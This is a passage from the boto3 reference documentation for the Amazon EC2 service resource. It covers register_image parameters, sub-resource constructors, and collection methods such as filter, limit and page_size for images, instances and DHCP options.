aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.KeyPairInfo + +Returns + +KeyPairInfo resource + +register_image(kwargs_) + +Registers an AMI. When you're creating an AMI, this is the final step you must complete before you can launch an instance from the AMI. For more information about creating AMIs, see [Creating your own AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +Note + +For Amazon EBS-backed instances, CreateImage creates and registers the AMI in a single request, so you don't have to register the AMI yourself. + +You can also use RegisterImage to create an Amazon EBS-backed Linux AMI from a snapshot of a root device volume. You specify the snapshot using the block device mapping. For more information, see [Launching a Linux instance from a backup](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-launch-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If any snapshots have AWS Marketplace product codes, they are copied to the new AMI. + +Windows and some Linux distributions, such as Red Hat Enterprise Linux (RHEL) and SUSE Linux Enterprise Server (SLES), use the EC2 billing product code associated with an AMI to verify the subscription status for package updates. To create a new AMI for operating systems that require a billing product code, instead of registering the AMI, do the following to preserve the billing product code association: + +- Launch an instance from an existing AMI with that billing product code. +- Customize the instance. +- Create an AMI from the instance using CreateImage . + +If you purchase a Reserved Instance to apply to an On-Demand Instance that was launched from an AMI with a billing product code, make sure that the Reserved Instance has the matching billing product code. If you purchase a Reserved Instance without the matching billing product code, the Reserved Instance will not be applied to the On-Demand Instance. For information about how to obtain the platform details and billing information of an AMI, see [Obtaining billing information](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-billing-info.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +If needed, you can deregister an AMI at any time. Any modifications you make to an AMI backed by an instance store volume invalidates its registration. If you make changes to an image, deregister the previous image and register the new image. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RegisterImage) + +**Request Syntax** + +image = ec2.register_image( + ImageLocation='string', + Architecture='i386'|'x86_64'|'arm64', + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + EnaSupport=True|False, + KernelId='string', + Name='string', + BillingProducts=[ + 'string', + ], + RamdiskId='string', + RootDeviceName='string', + SriovNetSupport='string', + VirtualizationType='string' +) + +Parameters + +- **ImageLocation** (_string_) -- The full path to your AMI manifest in Amazon S3 storage. The specified bucket must have the aws-exec-read canned access control list (ACL) to ensure that it can be accessed by Amazon EC2. For more information, see [Canned ACLs](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) in the _Amazon S3 Service Developer Guide_ . +- **Architecture** (_string_) -- + + The architecture of the AMI. + + Default: For Amazon EBS-backed AMIs, i386 . For instance store-backed AMIs, the architecture specified in the manifest file. + +- **BlockDeviceMappings** (_list_) -- + + The block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS + - io2 : 100-64,000 IOPS + + For io1 and io2 volumes, we guarantee 64,000 IOPS only for [Instances built on the Nitro System](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) . Other instance families guarantee performance up to 32,000 IOPS. + + This parameter is required for io1 and io2 volumes. The default for gp3 volumes is 3,000 IOPS. This parameter is not supported for gp2 , st1 , sc1 , or standard volumes. + + - **SnapshotId** _(string) --_ + + The ID of the snapshot. + + - **VolumeSize** _(integer) --_ + + The size of the volume, in GiBs. You must specify either a snapshot ID or a volume size. If you specify a snapshot, the default is the snapshot size. You can specify a volume size that is equal to or larger than the snapshot size. + + The following are the supported volumes sizes for each volume type: + + - gp2 and gp3 :1-16,384 + - io1 and io2 : 4-16,384 + - st1 : 500-16,384 + - sc1 : 500-16,384 + - standard : 1-1,024 + - **VolumeType** _(string) --_ + + The volume type. For more information, see [Amazon EBS volume types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumeTypes.html) in the _Amazon Elastic Compute Cloud User Guide_ . If the volume type is io1 or io2 , you must specify the IOPS that the volume supports. + + - **KmsKeyId** _(string) --_ + + Identifier (key ID, key alias, ID ARN, or alias ARN) for a customer managed CMK under which the EBS volume is encrypted. + + This parameter is only supported on BlockDeviceMapping objects called by [RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) , [RequestSpotFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotFleet.html) , and [RequestSpotInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RequestSpotInstances.html) . + + - **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + This parameter is valid only for gp3 volumes. + + Valid Range: Minimum value of 125. Maximum value of 1000. + + - **Encrypted** _(boolean) --_ + + Indicates whether the encryption state of an EBS volume is changed while being restored from a backing snapshot. The effect of setting the encryption state to true depends on the volume origin (new or from a snapshot), starting encryption state, ownership, and whether encryption by default is enabled. For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#encryption-parameters) in the _Amazon Elastic Compute Cloud User Guide_ . + + In no case can you remove encryption from an encrypted volume. + + Encrypted volumes can only be attached to instances that support Amazon EBS encryption. For more information, see [Supported instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html#EBSEncryption_supported_instances) . + + This parameter is not returned by . + + - **NoDevice** _(string) --_ + + Suppresses the specified device included in the block device mapping of the AMI. + +- **Description** (_string_) -- A description for your AMI. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **EnaSupport** (_boolean_) -- + + Set to true to enable enhanced networking with ENA for the AMI and any instances that you launch from the AMI. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +- **KernelId** (_string_) -- The ID of the kernel. +- **Name** (_string_) -- + + **[REQUIRED]** + + A name for your AMI. + + Constraints: 3-128 alphanumeric characters, parentheses (()), square brackets ([]), spaces ( ), periods (.), slashes (/), dashes (-), single quotes ('), at-signs (@), or underscores(_) + +- **BillingProducts** (_list_) -- + + The billing product codes. Your account must be authorized to specify billing product codes. Otherwise, you can use the AWS Marketplace to bill for the use of an AMI. + + - _(string) --_ +- **RamdiskId** (_string_) -- The ID of the RAM disk. +- **RootDeviceName** (_string_) -- The device name of the root device volume (for example, /dev/sda1 ). +- **SriovNetSupport** (_string_) -- + + Set to simple to enable enhanced networking with the Intel 82599 Virtual Function interface for the AMI and any instances that you launch from the AMI. + + There is no way to disable sriovNetSupport at this time. + + This option is supported only for HVM AMIs. Specifying this option with a PV AMI can make instances launched from the AMI unreachable. + +- **VirtualizationType** (_string_) -- + + The type of virtualization (hvm | paravirtual ). + + Default: paravirtual + + +Return type + +ec2.Image + +Returns + +Image resource + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +ClassicAddress(_public_ip_) + +Creates a ClassicAddress resource.: + +classic_address = ec2.ClassicAddress('public_ip') + +Parameters + +**public_ip** (_string_) -- The ClassicAddress's public_ip identifier. This **must** be set. + +Return type + +[EC2.ClassicAddress](#EC2.ClassicAddress "EC2.ClassicAddress") + +Returns + +A ClassicAddress resource + +DhcpOptions(_id_) + +Creates a DhcpOptions resource.: + +dhcp_options = ec2.DhcpOptions('id') + +Parameters + +**id** (_string_) -- The DhcpOptions's id identifier. This **must** be set. + +Return type + +[EC2.DhcpOptions](#EC2.DhcpOptions "EC2.DhcpOptions") + +Returns + +A DhcpOptions resource + +Image(_id_) + +Creates a Image resource.: + +image = ec2.Image('id') + +Parameters + +**id** (_string_) -- The Image's id identifier. This **must** be set. + +Return type + +[EC2.Image](#EC2.Image "EC2.Image") + +Returns + +A Image resource + +Instance(_id_) + +Creates a Instance resource.: + +instance = ec2.Instance('id') + +Parameters + +**id** (_string_) -- The Instance's id identifier. This **must** be set. + +Return type + +[EC2.Instance](#EC2.Instance "EC2.Instance") + +Returns + +A Instance resource + +InternetGateway(_id_) + +Creates a InternetGateway resource.: + +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +Return type + +[EC2.InternetGateway](#EC2.InternetGateway "EC2.InternetGateway") + +Returns + +A InternetGateway resource + +KeyPair(_name_) + +Creates a KeyPairInfo resource.: + +key_pair_info = ec2.KeyPair('name') + +Parameters + +**name** (_string_) -- The KeyPair's name identifier. This **must** be set. + +Return type + +[EC2.KeyPairInfo](#EC2.KeyPairInfo "EC2.KeyPairInfo") + +Returns + +A KeyPairInfo resource + +NetworkAcl(_id_) + +Creates a NetworkAcl resource.: + +network_acl = ec2.NetworkAcl('id') + +Parameters + +**id** (_string_) -- The NetworkAcl's id identifier. This **must** be set. + +Return type + +[EC2.NetworkAcl](#EC2.NetworkAcl "EC2.NetworkAcl") + +Returns + +A NetworkAcl resource + +NetworkInterface(_id_) + +Creates a NetworkInterface resource.: + +network_interface = ec2.NetworkInterface('id') + +Parameters + +**id** (_string_) -- The NetworkInterface's id identifier. This **must** be set. + +Return type + +[EC2.NetworkInterface](#EC2.NetworkInterface "EC2.NetworkInterface") + +Returns + +A NetworkInterface resource + +NetworkInterfaceAssociation(_id_) + +Creates a NetworkInterfaceAssociation resource.: + +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Return type + +[EC2.NetworkInterfaceAssociation](#EC2.NetworkInterfaceAssociation "EC2.NetworkInterfaceAssociation") + +Returns + +A NetworkInterfaceAssociation resource + +PlacementGroup(_name_) + +Creates a PlacementGroup resource.: + +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +Return type + +[EC2.PlacementGroup](#EC2.PlacementGroup "EC2.PlacementGroup") + +Returns + +A PlacementGroup resource + +Route(_route_table_id_, _destination_cidr_block_) + +Creates a Route resource.: + +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +Return type + +[EC2.Route](#EC2.Route "EC2.Route") + +Returns + +A Route resource + +RouteTable(_id_) + +Creates a RouteTable resource.: + +route_table = ec2.RouteTable('id') + +Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +RouteTableAssociation(_id_) + +Creates a RouteTableAssociation resource.: + +route_table_association = ec2.RouteTableAssociation('id') + +Parameters + +**id** (_string_) -- The RouteTableAssociation's id identifier. This **must** be set. + +Return type + +[EC2.RouteTableAssociation](#EC2.RouteTableAssociation "EC2.RouteTableAssociation") + +Returns + +A RouteTableAssociation resource + +SecurityGroup(_id_) + +Creates a SecurityGroup resource.: + +security_group = ec2.SecurityGroup('id') + +Parameters + +**id** (_string_) -- The SecurityGroup's id identifier. This **must** be set. + +Return type + +[EC2.SecurityGroup](#EC2.SecurityGroup "EC2.SecurityGroup") + +Returns + +A SecurityGroup resource + +Snapshot(_id_) + +Creates a Snapshot resource.: + +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +Return type + +[EC2.Snapshot](#EC2.Snapshot "EC2.Snapshot") + +Returns + +A Snapshot resource + +Subnet(_id_) + +Creates a Subnet resource.: + +subnet = ec2.Subnet('id') + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +Return type + +[EC2.Subnet](#EC2.Subnet "EC2.Subnet") + +Returns + +A Subnet resource + +Tag(_resource_id_, _key_, _value_) + +Creates a Tag resource.: + +tag = ec2.Tag('resource_id','key','value') + +Parameters + +- **resource_id** (_string_) -- The Tag's resource_id identifier. This **must** be set. +- **key** (_string_) -- The Tag's key identifier. This **must** be set. +- **value** (_string_) -- The Tag's value identifier. This **must** be set. + +Return type + +[EC2.Tag](#EC2.Tag "EC2.Tag") + +Returns + +A Tag resource + +Volume(_id_) + +Creates a Volume resource.: + +volume = ec2.Volume('id') + +Parameters + +**id** (_string_) -- The Volume's id identifier. This **must** be set. + +Return type + +[EC2.Volume](#EC2.Volume "EC2.Volume") + +Returns + +A Volume resource + +Vpc(_id_) + +Creates a Vpc resource.: + +vpc = ec2.Vpc('id') + +Parameters + +**id** (_string_) -- The Vpc's id identifier. This **must** be set. + +Return type + +[EC2.Vpc](#EC2.Vpc "EC2.Vpc") + +Returns + +A Vpc resource + +VpcAddress(_allocation_id_) + +Creates a VpcAddress resource.: + +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +Return type + +[EC2.VpcAddress](#EC2.VpcAddress "EC2.VpcAddress") + +Returns + +A VpcAddress resource + +VpcPeeringConnection(_id_) + +Creates a VpcPeeringConnection resource.: + +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +Return type + +[EC2.VpcPeeringConnection](#EC2.VpcPeeringConnection "EC2.VpcPeeringConnection") + +Returns + +A VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +classic_addresses + +A collection of ClassicAddress resources.A ClassicAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all ClassicAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.all() + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +filter(kwargs_) + +Creates an iterable of all ClassicAddress resources in the collection filtered by kwargs passed to method.A ClassicAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of ClassicAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +page_size(kwargs_) + +Creates an iterable of all ClassicAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +classic_address_iterator = ec2.classic_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.ClassicAddress) + +Returns + +A list of ClassicAddress resources + +dhcp_options_sets + +A collection of DhcpOptions resources.A DhcpOptions Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all DhcpOptions resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.all() + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +filter(kwargs_) + +Creates an iterable of all DhcpOptions resources in the collection filtered by kwargs passed to method.A DhcpOptions collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.filter( + DhcpOptionsIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +- **DhcpOptionsIds** (_list_) -- + + The IDs of one or more DHCP options sets. + + Default: Describes all your DHCP options sets. + + - _(string) --_ +- **Filters** (_list_) -- + + One or more filters. + + - dhcp-options-id - The ID of a DHCP options set. + - key - The key for one of the options (for example, domain-name ). + - value - The value for one of the options. + - owner-id - The ID of the AWS account that owns the DHCP options set. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **NextToken** (_string_) -- The token for the next page of results. +- **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of DhcpOptions resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +page_size(kwargs_) + +Creates an iterable of all DhcpOptions resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeDhcpOptions) + +**Request Syntax** + +dhcp_options_iterator = ec2.dhcp_options_sets.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.DhcpOptions) + +Returns + +A list of DhcpOptions resources + +images + +A collection of Image resources.A Image Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Image resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.all() + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +filter(kwargs_) + +Creates an iterable of all Image resources in the collection filtered by kwargs passed to method.A Image collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.filter( + ExecutableUsers=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImageIds=[ + 'string', + ], + Owners=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **ExecutableUsers** (_list_) -- + + Scopes the images by users with explicit launch permissions. Specify an AWS account ID, self (the sender of the request), or all (public AMIs). + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - architecture - The image architecture (i386 | x86_64 | arm64 ). + - block-device-mapping.delete-on-termination - A Boolean value that indicates whether the Amazon EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.snapshot-id - The ID of the snapshot used for the EBS volume. + - block-device-mapping.volume-size - The volume size of the EBS volume, in GiB. + - block-device-mapping.volume-type - The volume type of the EBS volume (gp2 | io1 | io2 | st1 | sc1 | standard ). + - block-device-mapping.encrypted - A Boolean that indicates whether the EBS volume is encrypted. + - description - The description of the image (provided during image creation). + - ena-support - A Boolean that indicates whether enhanced networking with ENA is enabled. + - hypervisor - The hypervisor type (ovm | xen ). + - image-id - The ID of the image. + - image-type - The image type (machine | kernel | ramdisk ). + - is-public - A Boolean that indicates whether the image is public. + - kernel-id - The kernel ID. + - manifest-location - The location of the image manifest. + - name - The name of the AMI (provided during image creation). + - owner-alias - The owner alias, from an Amazon-maintained list (amazon | aws-marketplace ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + - owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + - platform - The platform. To only list Windows-based AMIs, use windows . + - product-code - The product code. + - product-code.type - The type of the product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - state - The state of the image (available | pending | failed ). + - state-reason-code - The reason code for the state change. + - state-reason-message - The message for the state change. + - sriov-net-support - A value of simple indicates that enhanced networking with the Intel 82599 VF interface is enabled. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - virtualization-type - The virtualization type (paravirtual | hvm ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ImageIds** (_list_) -- + + The image IDs. + + Default: Describes all images available to you. + + - _(string) --_ +- **Owners** (_list_) -- + + Scopes the results to images with the specified owners. You can specify a combination of AWS account IDs, self , amazon , and aws-marketplace . If you omit this parameter, the results include all images for which you have launch permissions, regardless of ownership. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Image resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +page_size(kwargs_) + +Creates an iterable of all Image resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImages) + +**Request Syntax** + +image_iterator = ec2.images.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Image) + +Returns + +A list of Image resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = ec2.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = ec2.instances.filter( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance 